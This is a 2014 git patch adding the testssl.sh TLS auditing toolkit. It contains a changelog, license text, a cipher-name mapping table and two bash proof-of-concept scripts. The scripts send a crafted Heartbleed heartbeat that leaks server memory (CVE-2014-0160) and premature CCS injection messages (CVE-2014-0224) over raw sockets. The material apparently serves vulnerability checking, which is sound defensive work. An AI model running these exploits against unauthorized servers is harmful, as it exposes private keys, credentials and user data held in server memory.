From 840a5fc308496b5d0fe309e58a2aa250a54ff0b0 Mon Sep 17 00:00:00 2001 From: Silvio Rhatto Date: Fri, 24 Oct 2014 20:44:10 -0200 Subject: Adding testssl --- CHANGELOG.testssl.sh.txt | 339 ++++++++ GPLv2.txt | 341 ++++++++ bash-heartbleed.changelog.txt | 23 + bash-heartbleed.sh | 145 ++++ ccs-injection.sh | 186 +++++ mapping-rfc.txt | 362 +++++++++ testssl | 1 + testssl.sh | 1789 +++++++++++++++++++++++++++++++++++++++++ testssl.sh.asc | 7 + 9 files changed, 3193 insertions(+) create mode 100644 CHANGELOG.testssl.sh.txt create mode 100644 GPLv2.txt create mode 100644 bash-heartbleed.changelog.txt create mode 100644 bash-heartbleed.sh create mode 100644 ccs-injection.sh create mode 100644 mapping-rfc.txt create mode 120000 testssl create mode 100755 testssl.sh create mode 100644 testssl.sh.asc diff --git a/CHANGELOG.testssl.sh.txt b/CHANGELOG.testssl.sh.txt new file mode 100644 index 0000000..c5cb89e --- /dev/null +++ b/CHANGELOG.testssl.sh.txt @@ -0,0 +1,339 @@ + +2.0 includes: + +* major release, new features: + * SNI + * STARTTLS fully supported + * RC4 check + * (P)FS check + * SPDY check + * color codes make more sense now + * cipher hexcodes are shown + * tests ciphers per protocol + * HSTS + * web and application server banner + * server prefereences + * TLS server extensions + * server key size + * cipher suite mapping from openssl to RFC + * heartbleed check + * CCS injection check + +--------------------- +Details: + +1.112 +- IPv6 display fix + +1.111 +- NEW: tested unter FreeBSD (works with exception of xxd in CCS) +- getent now works under Linux and FreeBSD +- sed -i in hsts sacrificed for compatibility +- reomved query for IP for finishing banner, is now called once in parse_hn_port +- GOST warning after banner +- empty build date is not displayed anymore +- long build date strings minimized +- FIXED: IPv6 address are displayed again + +1.110 +- NEW: adding Russian GOST cipher support by providing a config file on the fly +- adding the compile date of openssl in the banner + +1.109 +- minor IPv6 fixes + +1.108 +- NEW: Major rewrite of output functions. Now using printf instead of "echo -e" for BSD and MacOSX compatibility + +1.107 +- improved IP address stuff + +1.106 +- minor fixes + +1.105 +- NEW: working prototype for CCS injection + +1.104 +- NEW: everywhere *also* RFC style ciphers -- if the mapping file is found +- unitary calls to display cipher suites + +1.103 +- NEW: telnet support for STARTTLS (works only with a patched openssl version) + --> not tested (lack of server) + +1.102 +- NEW: test for BREACH (experimental) + +1.101 +- BUGFIX: muted too verbose output of which on CentOS/RHEL +- BUGFIX: muted too verbose output of netcat/nc on CentOS/RHEL+Debian + +1.100 +- further cleanup + - starttls now tests allciphers() instead of cipher_per_proto + (normal use case makes most sense here) + - ENV J_POSITIV --> SHOW_EACH_C +- finding mapping-rfc.txt is now a bit smarter +- preparations for ChaCha20-Poly1305 (would have provided binaries but + "openssl s_client -connect" with that ciphersuite fails currently with + a handshake error though client and server hello succeeded!) + +1.99 +- BUGFIX: now really really everywhere testing the IP with supplied name +- locking out openssl < 0.9.8f, new function called "old_fart" ;-) +- FEATURE: displaying PTR record of IP +- FEATURE: displaying further IPv4/IPv6 addresses +- bit of a cleanup + +1.98 +- http_header is in total only called once +- better parsing of default protocol (FIXME shouldn't appear anymore) + +1.97 +- reduced sleep time for server hello and payload reply (heartbleed) + +1.96 +- NEW: (experimental) heartbleed support with bash sockets (shell only SSL handshake!) + see also https://testssl.sh/bash-heartbleed.sh + +1.95 (2.0rc3) +- changed cmdline options for CRIME and renego vuln to uppercase +- NEW: displays server key size now +- NEW: displays TLS server extensions (might kill old openssl versions) +- brown warning if HSTS < 180 days +- brown warning if SSLv3 is offered as default protocol + +1.94 +- NEW: prototype of mapping to RFC cipher suite names, needed file mapping-rfc.txt in same dir + as of now only used for 'testssl.sh -V' +- internal renaming: it was supposed to be "cipherlists" instead of "ciphersuites" +- additional tests for cipherlists DES, 3DES, ADH + +1.93 +- BUGFIX: removed space in Server banner fixed (at the expense of showing just nothing if Server string is empty) + +1.92 +- BUGFIX: fixed error of faulty detected empty server string + +1.91 +- replaced most lcyan to brown (=not really bad but somehow) +- empty server string better displayed +- prefered CBC TLS 1.2 cipher is now brown (lucky13) + +1.90 +- fix for netweaver banner (server is lowercase) +- no server banner is no disadvantage (color code) +- 1 more blank proto check +- server preference is better displayed + +1.89 +- reordered! : protocols + cipher come first +- colorized prefered server preference (e.g. CBC+RC4 is light red now, TLSv1.2 green) +- SSLv3 is now light cyan +- NEW: -P|--preference now in help menu +- light cyan is more appropriate than red for HSTS + +1.88 +- NEW: prototype for protocol and cipher preference +- prototype for session ticket + +1.87 +- changed just the version string to rc1 + +1.86 + - NEW: App banner now production, except 2 liners + - DEBUG: 1 is now true as everywhere else + - CRIME+Renego prettier + - last optical polish for RC4, PFS + +1.85 + - NEW: appbanner (also 2 lines like asp.net) + - OSSL_VER_MAJOR/MINOR/APPENDIX + - less bold because bold headlines as bold should be reserved for emphasize findings + - tabbed output also for protocols and cipher classes + - unify neat printing + +1.84 + - NEW: deprecating openssl version <0.98 + - displaying a warning >= 0.98 < 1.0 + - NEW: neat print also for all ciphers (-E,-e) + +1.83 +- BUGFIX: results from unit test: logical error in PFS+RC4 fixed +- headline of -V / PFS+RC4 ciphers unified + +1.82 +- NEW: output for -V now better (bits seperate, spacing improved) + +1.81 +- output for RC4+PFS now better (with headline, bits seperate, spacing improved) +- both also sorted by encr. strength .. umm ..err bits! + +1.80 +- order of finding supplied binary extended (first one wins): + 1. use supplied variable $OPENSSL + 2. use "openssl" in same path as testssl.sh + 3. use "openssl.`uname -m`" in same path as testssl.sh + 4. use anything in system $PATH (return value of "which" + +1.79 +- STARTTLS options w/o trailing 's' now (easier) +- commented code for CRIME SPDY +- issue a warning for openssl < 0.9.7 ( that version won't work anyway probably) +- NPN protos as a global var +- pretty print with fixed columns: PFS, RC4, allciphers, cipher_per_proto + +1.78 +- -E, -e now sorted by encryption strength (note: it's only encr key length) +- -V now pretty prints all local ciphers +- -V now pretty prints all local ciphers matching pattern (plain string, no regex) +- bugfix: SSLv2 cipher hex codes has 3 bytes! + +1.77 +- removed legacy code (PROD_REL var) + +1.76 +- bash was gone!! desaster for Ubuntu, fixed +- starttls+rc4 check: bottom line was wrong +- starttls had too much output (certificate) at first a/v check + +1.75 +- location is now https://testssl.sh +- be nice: banner, version, help also works for BSD folks (on dash) +- bug in server banner fixed +- sneaky referer and user agent possible + +1.74 +- Debian 7 fix +- ident obsoleted + +1.72 +- removed obsolete GREP +- SWURL/SWCONTACT +- output for positive RC4 better + +1.71 +- workaround for buggy bash (RC4) +- colors improved + - blue is now reserved for headline + - magenta for local probs + - in RC4 removal of SSL protocol provided by openssl + +1.70 +- DEBUG in http_headers now as expected +- + Copyright (C) 19yy + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) 19yy name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/bash-heartbleed.changelog.txt b/bash-heartbleed.changelog.txt new file mode 100644 index 0000000..898511d --- /dev/null +++ b/bash-heartbleed.changelog.txt @@ -0,0 +1,23 @@ +1.7, 2014-04-30 23:06:55 +0200; +- legal disclaimer +---------------------------- +1.6 2014-04-18 14:01:19 +0200; +- possible to supply URLs now +- cleanup +---------------------------- +1.5, 2014-04-18 11:01:51 +0200; +- broader ascii output +- back at 64k +---------------------------- +1.4, 2014-04-15 21:56:47 +0200; +- few comments for educational purposes added +---------------------------- +1.3, +- retrieves data +---------------------------- +1.2, 2014-04-15 20:58:55 +0200; +- PoC complete +---------------------------- +1.1, 2014-04-15 20:47:48 +0200; +- Initial version + diff --git a/bash-heartbleed.sh b/bash-heartbleed.sh new file mode 100644 index 0000000..f7481ef --- /dev/null +++ b/bash-heartbleed.sh @@ -0,0 +1,145 @@ +#!/bin/bash + +# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/ +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt +# +# sockets inspired by http://blog.chris007.de/?p=238 +# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280 +# +###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### + +NODE="" +SLEEP=2 +COL_WIDTH=32 + +[ -z "$1" ] && exit 1 + +# TLS 1.0=x01 1.1=0x02, 1.2=0x3 +# the PoC contains per default only check for TLS1.0 as the is the least common denominator +TLSV=${2:-x01} + +heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00" +## ^^^^^^^ this is the thing! + +client_hello=" +# TLS header ( 5 bytes) +,x16, # Content type (x16 for handshake) +x03, tls_version, # TLS Version +x00, xdc, # Length +# Handshake header +x01, # Type (x01 for ClientHello) +x00, x00, xd8, # Length +x03, tls_version, # TLS Version +# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html +x53, x43, x5b, x90, x9d, x9b, x72, x0b, +xbc, x0c, xbc, x2b, x92, xa8, x48, x97, +xcf, xbd, x39, x04, xcc, x16, x0a, x85, +x03, x90, x9f, x77, x04, x33, xd4, xde, +x00, # Session ID length +x00, x66, # Cipher suites length +# Cipher suites (51 suites) +xc0, x14, xc0, x0a, xc0, x22, xc0, x21, +x00, x39, x00, x38, x00, x88, x00, x87, +xc0, x0f, xc0, x05, x00, x35, x00, x84, +xc0, x12, xc0, x08, xc0, x1c, xc0, x1b, +x00, x16, x00, x13, xc0, x0d, xc0, x03, +x00, x0a, xc0, x13, xc0, x09, xc0, x1f, +xc0, x1e, x00, x33, x00, x32, x00, x9a, +x00, x99, x00, x45, x00, x44, xc0, x0e, +xc0, x04, x00, x2f, x00, x96, x00, x41, +xc0, x11, xc0, x07, xc0, x0c, xc0, x02, +x00, x05, x00, x04, x00, x15, x00, x12, +x00, x09, x00, x14, x00, x11, x00, x08, +x00, x06, x00, x03, x00, xff, +x01, # Compression methods length +x00, # Compression method (x00 for NULL) +x00, x49, # Extensions length +# Extension: ec_point_formats +x00, x0b, x00, x04, x03, x00, x01, x02, +# Extension: elliptic_curves +x00, x0a, x00, x34, x00, x32, x00, x0e, +x00, x0d, x00, x19, x00, x0b, x00, x0c, +x00, x18, x00, x09, x00, x0a, x00, x16, +x00, x17, x00, x08, x00, x06, x00, x07, +x00, x14, x00, x15, x00, x04, x00, x05, +x00, x12, x00, x13, x00, x01, x00, x02, +x00, x03, x00, x0f, x00, x10, x00, x11, +# Extension: SessionTicket TLS +x00, x23, x00, x00, +# Extension: Heartbeat +x00, x0f, x00, x01, x01 +" +msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` + + +parse_hn_port() { + PORT=443 # unless otherwise auto-determined, see below + NODE="$1" + + # strip "https", supposed it was supplied additionally + echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` + + # strip trailing urlpath + NODE=`echo $NODE | sed -e 's/\/.*$//'` + + # determine port, supposed it was supplied additionally + echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed + 's/\:.*$//'` +} + +socksend() { + data=`echo $1 | sed 's/tls_version/'"$2"'/g'` + echo "\"$data\"" + echo -en "$data" >&5 & + sleep $SLEEP +} + +sockread() +{ + reply=`dd bs=$1 count=1 <&5 2>/dev/null` +} + + +#### main + +parse_hn_port "$1" + +if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "`basename $0`: unable to connect to $NODE:$PORT" + exit 2 +fi +# socket is now open with fd 5 + + + +echo "##### sending client hello:" +socksend "$msg" $TLSV + +sockread 10000 +echo "##### server hello:" +echo -e "$reply" | xxd | head -20 +echo "[...]" +echo + +echo "##### sending payload with TLS version $TLSV:" +socksend $heartbleed_payload $TLSV + +sockread 65534 +echo "###### heartbleed reply: " +echo -e "$reply" | xxd -c$COL_WIDTH +echo + +lines_returned=`echo -e "$reply" | xxd | wc -l` +if [ $lines_returned -gt 1 ]; then + tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 + ret=1 +else + tput bold; tput setaf 2; echo "ok"; tput sgr0 + ret=0 +fi +echo + +exit $ret + +# vim:tw=100:ts=5:sw=5 +# $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $ diff --git a/ccs-injection.sh b/ccs-injection.sh new file mode 100644 index 0000000..0b7c58e --- /dev/null +++ b/ccs-injection.sh @@ -0,0 +1,186 @@ +#!/bin/bash + +# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224), see https://www.openssl.org/news/secadv_20140605.txt +# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt +# +# sockets inspired by http://blog.chris007.de/?p=238 +# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607 +# thx Ramon de C Valle +# +###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### + +NODE="" +SLEEP=2 +DEBUG=${DEBUG:-0} + +[ -z "$1" ] && exit 1 + +# TLS 1.0=x01 1.1=0x02, 1.2=0x3 +# the PoC contains per default only check for TLS1.0 as the is the least common denominator +TLSV=${2:-x01} + +ccs_message="\x14\x03\tls_version\x00\x01\x01" +## ^^^^^^^ this is the thing! + +client_hello=" +# TLS header ( 5 bytes) +,x16, # Content type (x16 for handshake) +x03, tls_version, # TLS Version +x00, x93, # Length +# Handshake header +x01, # Type (x01 for ClientHello) +x00, x00, x8f, # Length +x03, tls_version, # TLS Version +# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html +x53, x9c, xb2, xcb, x4b, +x42, xf9, x2d, x0b, xe5, x9c, x21, xf5, xa3, x89, xca, x7a, xd9, xb4, xab, x3f, +xd3, x22, x21, x5e, xc4, x65, x0d, x1e, xce, xed, xc2, +x00, # Session ID length +x00, x68, # Cipher suites length + xc0, x13, + xc0, x12, + xc0, x11, + xc0, x10, + xc0, x0f, + xc0, x0e, + xc0, x0d, + xc0, x0c, + xc0, x0b, + xc0, x0a, + xc0, x09, + xc0, x08, + xc0, x07, + xc0, x06, + xc0, x05, + xc0, x04, + xc0, x03, + xc0, x02, + xc0, x01, + x00, x39, + x00, x38, + x00, x37, + x00, x36, + x00, x35, + x00, x34, + x00, x33, + x00, x32, + x00, x31, + x00, x30, + x00, x2f, + x00, x16, + x00, x15, + x00, x14, + x00, x13, + x00, x12, + x00, x11, + x00, x10, + x00, x0f, + x00, x0e, + x00, x0d, + x00, x0c, + x00, x0b, + x00, x0a, + x00, x09, + x00, x08, + x00, x07, + x00, x06, + x00, x05, + x00, x04, + x00, x03, + x00, x02, + x00, x01, + x01, x00" + +msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` + + +parse_hn_port() { + PORT=443 # unless otherwise auto-determined, see below + NODE="$1" + + # strip "https", supposed it was supplied additionally + echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` + + # strip trailing urlpath + NODE=`echo $NODE | sed -e 's/\/.*$//'` + + # determine port, supposed it was supplied additionally + echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed + 's/\:.*$//'` +} + +socksend() { + data=`echo $1 | sed 's/tls_version/'"$2"'/g'` + echo "\"$data\"" + echo -en "$data" >&5 || return 1 + sleep $SLEEP + return 0 +} + +sockread() +{ + reply=`dd bs=$1 count=1 <&5 2>/dev/null` +} + +ok_ids(){ + echo + tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0 + echo + exit 0 +} + + +#### main + +parse_hn_port "$1" + +if ! exec 5<> /dev/tcp/$NODE/$PORT; then + echo "`basename $0`: unable to connect to $NODE:$PORT" + exit 2 +fi +# socket is now open with fd 5 + + +echo "##### sending client hello:" +socksend "$msg" $TLSV + +sockread 5000 +echo -e "\n##### server hello\c" +if test $DEBUG ; then + echo ":" + echo -e "$reply" | xxd -c32 | head -20 + echo "[...]" + echo +fi + +echo "##### sending ccs injection with TLS version $TLSV:" +socksend "$ccs_message" $TLSV || ok_ids +sleep 1 +socksend "$ccs_message" $TLSV || ok_ids + +sockread 65534 +echo +echo "###### reply: " +echo -e "$reply" | xxd -c32 +echo + +reply_sanitized=`echo -e "$reply" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//'` +test $DEBUG || echo $reply_sanitized + +lines=`echo -e "$reply" | xxd -c32 | wc -l` +test $DEBUG || echo $lines + +if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then + tput bold; tput setaf 2; echo "ok"; tput sgr0 + ret=0 +else + tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 + ret=1 +fi + +echo +exit $ret + + +# vim:tw=100:ts=5:sw=5 +# $Id: ccs-injection.sh,v 1.3 2014/06/14 21:44:42 dirkw Exp $ diff --git a/mapping-rfc.txt b/mapping-rfc.txt new file mode 100644 index 0000000..e60396c --- /dev/null +++ b/mapping-rfc.txt @@ -0,0 +1,362 @@ +0x010080 SSL_CK_RC4_128_WITH_MD5 +0x020080 SSL_CK_RC4_128_EXPORT40_WITH_MD5 +0x030080 SSL_CK_RC2_128_CBC_WITH_MD5 +0x040080 SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 +0x050080 SSL_CK_IDEA_128_CBC_WITH_MD5 +0x060040 SSL_CK_DES_64_CBC_WITH_MD5 +0x0700C0 SSL_CK_DES_192_EDE3_CBC_WITH_MD5 +0x080080 SSL_CK_RC4_64_WITH_MD5 +0x00 TLS_NULL_WITH_NULL_NULL +0x01 TLS_RSA_WITH_NULL_MD5 +0x02 TLS_RSA_WITH_NULL_SHA +0x03 TLS_RSA_EXPORT_WITH_RC4_40_MD5 +0x04 TLS_RSA_WITH_RC4_128_MD5 +0x05 TLS_RSA_WITH_RC4_128_SHA +0x06 TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 +0x07 TLS_RSA_WITH_IDEA_CBC_SHA +0x08 TLS_RSA_EXPORT_WITH_DES40_CBC_SHA +0x09 TLS_RSA_WITH_DES_CBC_SHA +0x0A TLS_RSA_WITH_3DES_EDE_CBC_SHA +0x0B TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA +0x0C TLS_DH_DSS_WITH_DES_CBC_SHA +0x0D TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA +0x0E TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA +0x0F TLS_DH_RSA_WITH_DES_CBC_SHA +0x10 TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA +0x11 TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA +0x12 TLS_DHE_DSS_WITH_DES_CBC_SHA +0x13 TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA +0x14 TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA +0x15 TLS_DHE_RSA_WITH_DES_CBC_SHA +0x16 TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA +0x17 TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 +0x18 TLS_DH_anon_WITH_RC4_128_MD5 +0x19 TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA +0x1A TLS_DH_anon_WITH_DES_CBC_SHA +0x1B TLS_DH_anon_WITH_3DES_EDE_CBC_SHA +0x1C SSL_FORTEZZA_KEA_WITH_NULL_SHA +0x1D SSL_FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA +0x1E TLS_KRB5_WITH_DES_CBC_SHA +0x1F TLS_KRB5_WITH_3DES_EDE_CBC_SHA +0x20 TLS_KRB5_WITH_RC4_128_SHA +0x21 TLS_KRB5_WITH_IDEA_CBC_SHA +0x22 TLS_KRB5_WITH_DES_CBC_MD5 +0x23 TLS_KRB5_WITH_3DES_EDE_CBC_MD5 +0x24 TLS_KRB5_WITH_RC4_128_MD5 +0x25 TLS_KRB5_WITH_IDEA_CBC_MD5 +0x26 TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA +0x27 TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA +0x28 TLS_KRB5_EXPORT_WITH_RC4_40_SHA +0x29 TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5 +0x2A TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5 +0x2B TLS_KRB5_EXPORT_WITH_RC4_40_MD5 +0x2C TLS_PSK_WITH_NULL_SHA +0x2D TLS_DHE_PSK_WITH_NULL_SHA +0x2E TLS_RSA_PSK_WITH_NULL_SHA +0x2F TLS_RSA_WITH_AES_128_CBC_SHA +0x30 TLS_DH_DSS_WITH_AES_128_CBC_SHA +0x31 TLS_DH_RSA_WITH_AES_128_CBC_SHA +0x32 TLS_DHE_DSS_WITH_AES_128_CBC_SHA +0x33 TLS_DHE_RSA_WITH_AES_128_CBC_SHA +0x34 TLS_DH_anon_WITH_AES_128_CBC_SHA +0x35 TLS_RSA_WITH_AES_256_CBC_SHA +0x36 TLS_DH_DSS_WITH_AES_256_CBC_SHA +0x37 TLS_DH_RSA_WITH_AES_256_CBC_SHA +0x38 TLS_DHE_DSS_WITH_AES_256_CBC_SHA +0x39 TLS_DHE_RSA_WITH_AES_256_CBC_SHA +0x3A TLS_DH_anon_WITH_AES_256_CBC_SHA +0x3B TLS_RSA_WITH_NULL_SHA256 +0x3C TLS_RSA_WITH_AES_128_CBC_SHA256 +0x3D TLS_RSA_WITH_AES_256_CBC_SHA256 +0x3E TLS_DH_DSS_WITH_AES_128_CBC_SHA256 +0x3F TLS_DH_RSA_WITH_AES_128_CBC_SHA256 +0x40 TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 +0x41 TLS_RSA_WITH_CAMELLIA_128_CBC_SHA +0x42 TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA +0x43 TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA +0x44 TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA +0x45 TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA +0x46 TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA +0x60 TLS_RSA_EXPORT1024_WITH_RC4_56_MD5 +0x61 TLS_RSA_EXPORT1024_WITH_RC2_56_MD5 +0x62 TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA +0x63 TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA +0x64 TLS_RSA_EXPORT1024_WITH_RC4_56_SHA +0x65 TLS_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA +0x66 TLS_DHE_DSS_WITH_RC4_128_SHA +0x67 TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 +0x68 TLS_DH_DSS_WITH_AES_256_CBC_SHA256 +0x69 TLS_DH_RSA_WITH_AES_256_CBC_SHA256 +0x6A TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 +0x6B TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 +0x6C TLS_DH_anon_WITH_AES_128_CBC_SHA256 +0x6D TLS_DH_anon_WITH_AES_256_CBC_SHA256 +0x80 TLS_GOSTR341094_WITH_28147_CNT_IMIT +0x81 TLS_GOSTR341001_WITH_28147_CNT_IMIT +0x82 TLS_GOSTR341094_WITH_NULL_GOSTR3411 +0x83 TLS_GOSTR341001_WITH_NULL_GOSTR3411 +0x84 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA +0x85 TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA +0x86 TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA +0x87 TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA +0x88 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA +0x89 TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA +0x8A TLS_PSK_WITH_RC4_128_SHA +0x8B TLS_PSK_WITH_3DES_EDE_CBC_SHA +0x8C TLS_PSK_WITH_AES_128_CBC_SHA +0x8D TLS_PSK_WITH_AES_256_CBC_SHA +0x8E TLS_DHE_PSK_WITH_RC4_128_SHA +0x8F TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA +0x90 TLS_DHE_PSK_WITH_AES_128_CBC_SHA +0x91 TLS_DHE_PSK_WITH_AES_256_CBC_SHA +0x92 TLS_RSA_PSK_WITH_RC4_128_SHA +0x93 TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA +0x94 TLS_RSA_PSK_WITH_AES_128_CBC_SHA +0x95 TLS_RSA_PSK_WITH_AES_256_CBC_SHA +0x96 TLS_RSA_WITH_SEED_CBC_SHA +0x97 TLS_DH_DSS_WITH_SEED_CBC_SHA +0x98 TLS_DH_RSA_WITH_SEED_CBC_SHA +0x99 TLS_DHE_DSS_WITH_SEED_CBC_SHA +0x9A TLS_DHE_RSA_WITH_SEED_CBC_SHA +0x9B TLS_DH_anon_WITH_SEED_CBC_SHA +0x9C TLS_RSA_WITH_AES_128_GCM_SHA256 +0x9D TLS_RSA_WITH_AES_256_GCM_SHA384 +0x9E TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 +0x9F TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 +0xA0 TLS_DH_RSA_WITH_AES_128_GCM_SHA256 +0xA1 TLS_DH_RSA_WITH_AES_256_GCM_SHA384 +0xA2 TLS_DHE_DSS_WITH_AES_128_GCM_SHA256 +0xA3 TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 +0xA4 TLS_DH_DSS_WITH_AES_128_GCM_SHA256 +0xA5 TLS_DH_DSS_WITH_AES_256_GCM_SHA384 +0xA6 TLS_DH_anon_WITH_AES_128_GCM_SHA256 +0xA7 TLS_DH_anon_WITH_AES_256_GCM_SHA384 +0xA8 TLS_PSK_WITH_AES_128_GCM_SHA256 +0xA9 TLS_PSK_WITH_AES_256_GCM_SHA384 +0xAA TLS_DHE_PSK_WITH_AES_128_GCM_SHA256 +0xAB TLS_DHE_PSK_WITH_AES_256_GCM_SHA384 +0xAC TLS_RSA_PSK_WITH_AES_128_GCM_SHA256 +0xAD TLS_RSA_PSK_WITH_AES_256_GCM_SHA384 +0xAE TLS_PSK_WITH_AES_128_CBC_SHA256 +0xAF TLS_PSK_WITH_AES_256_CBC_SHA384 +0xB0 TLS_PSK_WITH_NULL_SHA256 +0xB1 TLS_PSK_WITH_NULL_SHA384 +0xB2 TLS_DHE_PSK_WITH_AES_128_CBC_SHA256 +0xB3 TLS_DHE_PSK_WITH_AES_256_CBC_SHA384 +0xB4 TLS_DHE_PSK_WITH_NULL_SHA256 +0xB5 TLS_DHE_PSK_WITH_NULL_SHA384 +0xB6 TLS_RSA_PSK_WITH_AES_128_CBC_SHA256 +0xB7 TLS_RSA_PSK_WITH_AES_256_CBC_SHA384 +0xB8 TLS_RSA_PSK_WITH_NULL_SHA256 +0xB9 TLS_RSA_PSK_WITH_NULL_SHA384 +0xBA TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256 +0xBB TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256 +0xBC TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256 +0xBD TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256 +0xBE TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 +0xBF TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256 +0xC0 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256 +0xC1 TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256 +0xC2 TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256 +0xC3 TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256 +0xC4 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256 +0xC5 TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256 +0xFF TLS_EMPTY_RENEGOTIATION_INFO_SCSV +0xC001 TLS_ECDH_ECDSA_WITH_NULL_SHA +0xC002 TLS_ECDH_ECDSA_WITH_RC4_128_SHA +0xC003 TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA +0xC004 TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA +0xC005 TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA +0xC006 TLS_ECDHE_ECDSA_WITH_NULL_SHA +0xC007 TLS_ECDHE_ECDSA_WITH_RC4_128_SHA +0xC008 TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA +0xC009 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA +0xC00A 